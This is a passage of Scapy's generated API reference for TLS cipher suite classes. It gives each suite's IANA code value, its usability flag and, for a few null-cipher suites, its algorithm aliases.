class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L895-L896]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49197

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L735-L736]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49157

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L867-L868]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49190

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L899-L900]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49198

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L965-L966]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49268

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1045-L1046]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49288

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L969-L970]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49269

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1049-L1050]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49289

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_NULL_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L719-L720]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49153

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_ECDSA_WITH_RC4_128_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L723-L724]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49154

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L767-L768]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49165

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L771-L772]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49166

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L879-L880]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49193

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L911-L912]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49201

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L775-L776]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49167

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L883-L884]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49194

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L915-L916]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49202

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L981-L982]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49272

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1061-L1062]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49292

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L985-L986]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49273

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1065-L1066]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49293

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_NULL_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L759-L760]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49163

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_RSA_WITH_RC4_128_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L763-L764]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49164

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L807-L808]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49175

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_anon_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L811-L812]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49176

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_anon_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L815-L816]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49177

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_anon_WITH_NULL_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L799-L800]

	Bases: _GenericCipherSuite


	
cipher_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_stream.py#L114-L132]

	alias of Cipher_NULL






	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L55-L57]

	alias of Hash_SHA






	
hmac_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L104-L105]

	alias of Hmac_SHA






	
key_block_len = 40

	




	
kx_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L191-L194]

	alias of KX_ECDH_anon






	
name = 'TLS_ECDH_anon_WITH_NULL_SHA'

	




	
usable = True

	




	
val = 49173

	








	
class scapy.layers.tls.crypto.suites.TLS_ECDH_anon_WITH_RC4_128_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L803-L804]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49174

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_EXPORT_WITH_DES40_CBC_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L301-L302]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 41

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_EXPORT_WITH_DES40_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L289-L290]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 38

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L305-L306]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 42

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L293-L294]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 39

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_EXPORT_WITH_RC4_40_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L309-L310]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 43

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_EXPORT_WITH_RC4_40_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L297-L298]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 40

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_WITH_3DES_EDE_CBC_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L277-L278]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 35

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L261-L262]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 31

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_WITH_DES_CBC_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L273-L274]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 34

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_WITH_DES_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L257-L258]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 30

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_WITH_IDEA_CBC_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L285-L286]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 37

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_WITH_IDEA_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L269-L270]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 33

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_WITH_RC4_128_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L281-L282]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 36

	








	
class scapy.layers.tls.crypto.suites.TLS_KRB5_WITH_RC4_128_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L265-L266]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 32

	








	
class scapy.layers.tls.crypto.suites.TLS_NULL_WITH_NULL_NULL(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L145-L146]

	Bases: _GenericCipherSuite


	
cipher_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_stream.py#L114-L132]

	alias of Cipher_NULL






	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L38-L42]

	alias of Hash_NULL






	
hmac_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L85-L93]

	alias of Hmac_NULL






	
key_block_len = 0

	




	
kx_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L47-L50]

	alias of KX_NULL






	
name = 'TLS_NULL_WITH_NULL_NULL'

	




	
usable = True

	




	
val = 0

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L477-L478]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 139

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L481-L482]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 140

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L617-L618]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 174

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_AES_128_CCM(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1157-L1158]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49316

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_AES_128_CCM_8(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1173-L1174]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49320

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L593-L594]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 168

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L485-L486]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 141

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_AES_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L621-L622]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 175

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_AES_256_CCM(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1161-L1162]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49317

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_AES_256_CCM_8(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1177-L1178]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49321

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L597-L598]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 169

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1093-L1094]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49300

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1069-L1070]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49294

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1097-L1098]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49301

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1073-L1074]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49295

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_CHACHA20_POLY1305_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1231-L1232]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 52395

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_NULL_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L313-L314]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 44

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_NULL_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L625-L626]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 176

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_NULL_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L629-L630]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 177

	








	
class scapy.layers.tls.crypto.suites.TLS_PSK_WITH_RC4_128_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L473-L474]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 138

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_EXPORT_WITH_DES40_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L177-L178]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 8

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L169-L170]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 6

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_EXPORT_WITH_RC4_40_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L157-L158]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 3

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L509-L510]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 147

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L513-L514]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 148

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L649-L650]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 182

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L609-L610]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 172

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L517-L518]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 149

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_AES_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L653-L654]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 183

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L613-L614]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 173

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1109-L1110]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49304

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1085-L1086]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49298

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1113-L1114]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49305

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1089-L1090]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49299

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1243-L1244]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 52398

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_NULL_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L321-L322]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 46

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_NULL_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L657-L658]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 184

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_NULL_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L661-L662]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 185

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_PSK_WITH_RC4_128_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L505-L506]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 146

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L185-L186]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 10

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L325-L326]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 47

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L377-L378]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 60

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_AES_128_CCM(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1125-L1126]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49308

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_AES_128_CCM_8(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1141-L1142]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49312

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L545-L546]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 156

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L349-L350]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 53

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_AES_256_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L381-L382]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 61

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_AES_256_CCM(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1129-L1130]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49309

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_AES_256_CCM_8(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1145-L1146]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49313

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L549-L550]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 157

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_CAMELLIA_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L397-L398]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 65

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L665-L666]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 186

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L989-L990]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49274

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_CAMELLIA_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L449-L450]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 132

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L689-L690]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 192

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L993-L994]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49275

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_DES_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L181-L182]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 9

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_IDEA_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L173-L174]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 7

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_NULL_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L149-L150]

	Bases: _GenericCipherSuite


	
cipher_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_stream.py#L114-L132]

	alias of Cipher_NULL






	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L50-L52]

	alias of Hash_MD5



